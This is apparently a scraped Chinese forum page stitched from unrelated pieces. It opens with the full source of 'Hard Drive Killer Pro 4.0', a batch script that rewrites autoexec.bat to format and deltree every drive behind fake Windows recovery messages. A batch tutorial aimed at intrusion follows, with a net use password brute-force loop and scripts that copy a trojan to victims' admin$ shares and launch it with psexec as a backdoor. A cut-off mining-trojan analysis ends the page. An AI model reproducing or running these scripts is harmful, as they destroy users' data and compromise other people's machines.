[修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] 3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo call format c: /q /u /autoSample >nul >>c:autoexec.bat call attrib +r +h c:autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat echo cd >>c:autoexec.bat echo cls >>c:autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat echo echo. >>c:autoexec.bat echo echo Regards, >>c:autoexec.bat echo echo. >>c:autoexec.bat echo echo Munga Bunga >>c:autoexec.bat call attrib +r +h c:autoexec.bat :makedir if exist c:temp.bat attrib -r -h c:temp.bat >nul echo @echo off >c:temp.bat echo %%1: >>c:temp.bat echo cd >>c:temp.bat echo :startmd >>c:temp.bat echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat call attrib +r +h c:temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a: /S >nul call attrib +r +h c:temp.bat >nul call attrib +r +h c:autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (
help
me get out of here) 全文完毕, 简明批处理教程(上)2009-05-30 15:53 前言 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,
系统
就会调用Cmd.exe按照该文件
中
各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵
中
一些实际运用,例如我们后面要提到的用批处理文件来给
系统
打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用
中
我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件
中
.这将在以后的例子
中
体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程
中
(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序
中
的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言
中
相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子
中
,驱动器 A
中
磁盘上的所有文件均复制到d:\back
中
。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件
中
使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件
中
使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集
中
包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录
中
的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset
中
的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行
中
分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串
中
的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况
中
使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi
中
使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt
中
的每一行,忽略以分号打头的那些行,将 每行
中
的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句
中
得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用
中
。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件
中
的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境
中
的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子
中
,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵
中
的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt
中
这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+
木马
呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件
中
使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt
中
的内容传递给door.bat
中
的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy
木马
+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt
中
的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. No.2 二.如何在批处理文件
中
使用参数 批处理
中
可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echo off @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3 三.如何使用组合命令(Compound Command) 1.& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:51 . 2002-05-14 23:51 .. 2002-05-14 23:51 14 sometips.gif 2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; Sample: C:\>dir z: && dir c:\Ex4rch The system cannot find the path specified. C:\>dir c:\Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:55 . 2002-05-14 23:55 .. 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如: dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) 3.|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:\Ex4rch>dir sometips.gif || del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:\Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子: sample: @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
一次挖矿
木马
分析
公司测试服务器远程卡顿,VSS无法打开,360杀毒软件失灵,MSSQL无法连接,密码被修改过,重启后无任何显著可用的效果,于是乎查
系统
进程、
系统
日志、计划任务等,发现计划任务
中
出现了一些可疑的任务,任务操作是指向一些bat或者exe,MSSQL代理作业
中
也出现了十多个可疑的作业,通过分析后发现是
中
了挖矿
木马
。通过分析发现该恶意程序做了底下这些操作: ::删除用户,这可能是感染时候建的用户,也可能是...
Windows Server
6,868
社区成员
177,996
社区内容
发帖
与我相关
我的任务
Windows Server
Windows 2016/2012/2008/2003/2000/NT
复制链接
扫一扫
分享
社区描述
Windows 2016/2012/2008/2003/2000/NT
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章